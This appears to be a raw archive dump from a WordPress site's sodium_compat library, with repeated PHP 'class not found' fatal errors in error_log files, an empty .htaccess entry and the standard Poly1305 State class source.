#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[14-May-2025 12:00:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[14-May-2025 12:00:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[14-May-2025 14:30:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[14-May-2025 14:30:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[14-May-2025 14:30:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[14-May-2025 14:30:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[18-Jun-2025 16:55:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[19-Jul-2025 09:11:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[20-Aug-2025 23:27:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[21-Aug-2025 21:39:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[26-Aug-2025 06:27:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[26-Aug-2025 06:36:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[04-Sep-2025 00:45:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[04-Sep-2025 01:03:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[06-Sep-2025 01:56:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[06-Sep-2025 02:04:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[09-Sep-2025 17:46:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[09-Sep-2025 17:57:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[14-Sep-2025 15:09:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[14-Sep-2025 15:18:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[18-Sep-2025 17:17:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[19-Sep-2025 06:35:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[19-Sep-2025 06:48:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[22-Sep-2025 12:45:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[22-Sep-2025 12:59:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[25-Sep-2025 22:01:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[25-Sep-2025 22:13:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[02-Oct-2025 10:42:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[02-Oct-2025 10:50:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[02-Nov-2025 08:31:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[02-Nov-2025 08:41:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[06-Dec-2025 18:49:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[06-Dec-2025 18:59:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[23-Dec-2025 11:47:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[23-Dec-2025 12:03:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[24-Dec-2025 15:02:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[24-Dec-2025 15:25:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[04-Jan-2026 10:11:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[04-Jan-2026 10:20:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[06-Jan-2026 01:23:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[06-Jan-2026 01:35:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[13-Jan-2026 06:30:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[14-Jan-2026 00:01:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[14-Jan-2026 00:18:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[21-Feb-2026 02:57:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
Core/Poly1305/.htaccess000064400000000000152222652550010462 0ustar00Core/Poly1305/State.php000064400000031160152222652550010470 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Poly1305_State', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Poly1305_State
 */
class ParagonIE_Sodium_Core_Poly1305_State extends ParagonIE_Sodium_Core_Util
{
    /**
     * @var array<int, int>
     */
    protected $buffer = array();

    /**
     * @var bool
     */
    protected $final = false;

    /**
     * @var array<int, int>
     */
    public $h;

    /**
     * @var int
     */
    protected $leftover = 0;

    /**
     * @var int[]
     */
    public $r;

    /**
     * @var int[]
     */
    public $pad;

    /**
     * ParagonIE_Sodium_Core_Poly1305_State constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '')
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Poly1305 requires a 32-byte key'
            );
        }
        /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */
        $this->r = array(
            (int) ((self::load_4(self::substr($key, 0, 4))) & 0x3ffffff),
            (int) ((self::load_4(self::substr($key, 3, 4)) >> 2) & 0x3ffff03),
            (int) ((self::load_4(self::substr($key, 6, 4)) >> 4) & 0x3ffc0ff),
            (int) ((self::load_4(self::substr($key, 9, 4)) >> 6) & 0x3f03fff),
            (int) ((self::load_4(self::substr($key, 12, 4)) >> 8) & 0x00fffff)
        );

        /* h = 0 */
        $this->h = array(0, 0, 0, 0, 0);

        /* save pad for later */
        $this->pad = array(
            self::load_4(self::substr($key, 16, 4)),
            self::load_4(self::substr($key, 20, 4)),
            self::load_4(self::substr($key, 24, 4)),
            self::load_4(self::substr($key, 28, 4)),
        );

        $this->leftover = 0;
        $this->final = false;
    }

    /**
     * Zero internal buffer upon destruction
     */
    public function __destruct()
    {
        $this->r[0] ^= $this->r[0];
        $this->r[1] ^= $this->r[1];
        $this->r[2] ^= $this->r[2];
        $this->r[3] ^= $this->r[3];
        $this->r[4] ^= $this->r[4];
        $this->h[0] ^= $this->h[0];
        $this->h[1] ^= $this->h[1];
        $this->h[2] ^= $this->h[2];
        $this->h[3] ^= $this->h[3];
        $this->h[4] ^= $this->h[4];
        $this->pad[0] ^= $this->pad[0];
        $this->pad[1] ^= $this->pad[1];
        $this->pad[2] ^= $this->pad[2];
        $this->pad[3] ^= $this->pad[3];
        $this->leftover = 0;
        $this->final = true;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function update($message = '')
    {
        $bytes = self::strlen($message);
        if ($bytes < 1) {
            return $this;
        }

        /* handle leftover */
        if ($this->leftover) {
            $want = ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - $this->leftover;
            if ($want > $bytes) {
                $want = $bytes;
            }
            for ($i = 0; $i < $want; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            // We snip off the leftmost bytes.
            $message = self::substr($message, $want);
            $bytes = self::strlen($message);
            $this->leftover += $want;
            if ($this->leftover < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                // We still don't have enough to run $this->blocks()
                return $this;
            }

            $this->blocks(
                self::intArrayToString($this->buffer),
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
            $this->leftover = 0;
        }

        /* process full blocks */
        if ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
            /** @var int $want */
            $want = $bytes & ~(ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - 1);
            if ($want >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                $block = self::substr($message, 0, $want);
                if (self::strlen($block) >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                    $this->blocks($block, $want);
                    $message = self::substr($message, $want);
                    $bytes = self::strlen($message);
                }
            }
        }

        /* store leftover */
        if ($bytes) {
            for ($i = 0; $i < $bytes; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            $this->leftover = (int) $this->leftover + $bytes;
        }
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param int $bytes
     * @return self
     * @throws TypeError
     */
    public function blocks($message, $bytes)
    {
        if (self::strlen($message) < 16) {
            $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT);
        }
        /** @var int $hibit */
        $hibit = $this->final ? 0 : 1 << 24; /* 1 << 128 */
        $r0 = (int) $this->r[0];
        $r1 = (int) $this->r[1];
        $r2 = (int) $this->r[2];
        $r3 = (int) $this->r[3];
        $r4 = (int) $this->r[4];

        $s1 = self::mul($r1, 5, 3);
        $s2 = self::mul($r2, 5, 3);
        $s3 = self::mul($r3, 5, 3);
        $s4 = self::mul($r4, 5, 3);

        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        while ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
            /* h += m[i] */
            $h0 +=  self::load_4(self::substr($message, 0, 4))       & 0x3ffffff;
            $h1 += (self::load_4(self::substr($message, 3, 4)) >> 2) & 0x3ffffff;
            $h2 += (self::load_4(self::substr($message, 6, 4)) >> 4) & 0x3ffffff;
            $h3 += (self::load_4(self::substr($message, 9, 4)) >> 6) & 0x3ffffff;
            $h4 += (self::load_4(self::substr($message, 12, 4)) >> 8) | $hibit;

            /* h *= r */
            $d0 = (
                self::mul($h0, $r0, 27) +
                self::mul($s4, $h1, 27) +
                self::mul($s3, $h2, 27) +
                self::mul($s2, $h3, 27) +
                self::mul($s1, $h4, 27)
            );

            $d1 = (
                self::mul($h0, $r1, 27) +
                self::mul($h1, $r0, 27) +
                self::mul($s4, $h2, 27) +
                self::mul($s3, $h3, 27) +
                self::mul($s2, $h4, 27)
            );

            $d2 = (
                self::mul($h0, $r2, 27) +
                self::mul($h1, $r1, 27) +
                self::mul($h2, $r0, 27) +
                self::mul($s4, $h3, 27) +
                self::mul($s3, $h4, 27)
            );

            $d3 = (
                self::mul($h0, $r3, 27) +
                self::mul($h1, $r2, 27) +
                self::mul($h2, $r1, 27) +
                self::mul($h3, $r0, 27) +
                self::mul($s4, $h4, 27)
            );

            $d4 = (
                self::mul($h0, $r4, 27) +
                self::mul($h1, $r3, 27) +
                self::mul($h2, $r2, 27) +
                self::mul($h3, $r1, 27) +
                self::mul($h4, $r0, 27)
            );

            /* (partial) h %= p */
            /** @var int $c */
            $c = $d0 >> 26;
            /** @var int $h0 */
            $h0 = $d0 & 0x3ffffff;
            $d1 += $c;

            /** @var int $c */
            $c = $d1 >> 26;
            /** @var int $h1 */
            $h1 = $d1 & 0x3ffffff;
            $d2 += $c;

            /** @var int $c */
            $c = $d2 >> 26;
            /** @var int $h2  */
            $h2 = $d2 & 0x3ffffff;
            $d3 += $c;

            /** @var int $c */
            $c = $d3 >> 26;
            /** @var int $h3 */
            $h3 = $d3 & 0x3ffffff;
            $d4 += $c;

            /** @var int $c */
            $c = $d4 >> 26;
            /** @var int $h4 */
            $h4 = $d4 & 0x3ffffff;
            $h0 += (int) self::mul($c, 5, 3);

            /** @var int $c */
            $c = $h0 >> 26;
            /** @var int $h0 */
            $h0 &= 0x3ffffff;
            $h1 += $c;

            // Chop off the left 32 bytes.
            $message = self::substr(
                $message,
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
            $bytes -= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE;
        }

        $this->h = array(
            (int) ($h0 & 0xffffffff),
            (int) ($h1 & 0xffffffff),
            (int) ($h2 & 0xffffffff),
            (int) ($h3 & 0xffffffff),
            (int) ($h4 & 0xffffffff)
        );
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return string
     * @throws TypeError
     */
    public function finish()
    {
        /* process the remaining block */
        if ($this->leftover) {
            $i = $this->leftover;
            $this->buffer[$i++] = 1;
            for (; $i < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; ++$i) {
                $this->buffer[$i] = 0;
            }
            $this->final = true;
            $this->blocks(
                self::substr(
                    self::intArrayToString($this->buffer),
                    0,
                    ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
                ),
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
        }

        $h0 = (int) $this->h[0];
        $h1 = (int) $this->h[1];
        $h2 = (int) $this->h[2];
        $h3 = (int) $this->h[3];
        $h4 = (int) $this->h[4];

        /** @var int $c */
        $c = $h1 >> 26;
        /** @var int $h1 */
        $h1 &= 0x3ffffff;
        /** @var int $h2 */
        $h2 += $c;
        /** @var int $c */
        $c = $h2 >> 26;
        /** @var int $h2 */
        $h2 &= 0x3ffffff;
        $h3 += $c;
        /** @var int $c */
        $c = $h3 >> 26;
        $h3 &= 0x3ffffff;
        $h4 += $c;
        /** @var int $c */
        $c = $h4 >> 26;
        $h4 &= 0x3ffffff;
        /** @var int $h0 */
        $h0 += self::mul($c, 5, 3);
        /** @var int $c */
        $c = $h0 >> 26;
        /** @var int $h0 */
        $h0 &= 0x3ffffff;
        /** @var int $h1 */
        $h1 += $c;

        /* compute h + -p */
        /** @var int $g0 */
        $g0 = $h0 + 5;
        /** @var int $c */
        $c = $g0 >> 26;
        /** @var int $g0 */
        $g0 &= 0x3ffffff;

        /** @var int $g1 */
        $g1 = $h1 + $c;
        /** @var int $c */
        $c = $g1 >> 26;
        $g1 &= 0x3ffffff;

        /** @var int $g2 */
        $g2 = $h2 + $c;
        /** @var int $c */
        $c = $g2 >> 26;
        /** @var int $g2 */
        $g2 &= 0x3ffffff;

        /** @var int $g3 */
        $g3 = $h3 + $c;
        /** @var int $c */
        $c = $g3 >> 26;
        /** @var int $g3 */
        $g3 &= 0x3ffffff;

        /** @var int $g4 */
        $g4 = ($h4 + $c - (1 << 26)) & 0xffffffff;

        /* select h if h < p, or h + -p if h >= p */
        /** @var int $mask */
        $mask = ($g4 >> 31) - 1;

        $g0 &= $mask;
        $g1 &= $mask;
        $g2 &= $mask;
        $g3 &= $mask;
        $g4 &= $mask;

        /** @var int $mask */
        $mask = ~$mask & 0xffffffff;
        /** @var int $h0 */
        $h0 = ($h0 & $mask) | $g0;
        /** @var int $h1 */
        $h1 = ($h1 & $mask) | $g1;
        /** @var int $h2 */
        $h2 = ($h2 & $mask) | $g2;
        /** @var int $h3 */
        $h3 = ($h3 & $mask) | $g3;
        /** @var int $h4 */
        $h4 = ($h4 & $mask) | $g4;

        /* h = h % (2^128) */
        /** @var int $h0 */
        $h0 = (($h0) | ($h1 << 26)) & 0xffffffff;
        /** @var int $h1 */
        $h1 = (($h1 >>  6) | ($h2 << 20)) & 0xffffffff;
        /** @var int $h2 */
        $h2 = (($h2 >> 12) | ($h3 << 14)) & 0xffffffff;
        /** @var int $h3 */
        $h3 = (($h3 >> 18) | ($h4 <<  8)) & 0xffffffff;

        /* mac = (h + pad) % (2^128) */
        $f = (int) ($h0 + $this->pad[0]);
        $h0 = (int) $f;
        $f = (int) ($h1 + $this->pad[1] + ($f >> 32));
        $h1 = (int) $f;
        $f = (int) ($h2 + $this->pad[2] + ($f >> 32));
        $h2 = (int) $f;
        $f = (int) ($h3 + $this->pad[3] + ($f >> 32));
        $h3 = (int) $f;

        return self::store32_le($h0 & 0xffffffff) .
            self::store32_le($h1 & 0xffffffff) .
            self::store32_le($h2 & 0xffffffff) .
            self::store32_le($h3 & 0xffffffff);
    }
}
Core/ChaCha20/error_log000064400000126070152222652550010636 0ustar00[24-Mar-2024 12:08:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[24-Mar-2024 12:08:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[24-Mar-2024 12:08:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[24-Mar-2024 12:08:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[24-Mar-2024 12:11:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[24-Mar-2024 12:11:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[24-Mar-2024 12:11:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
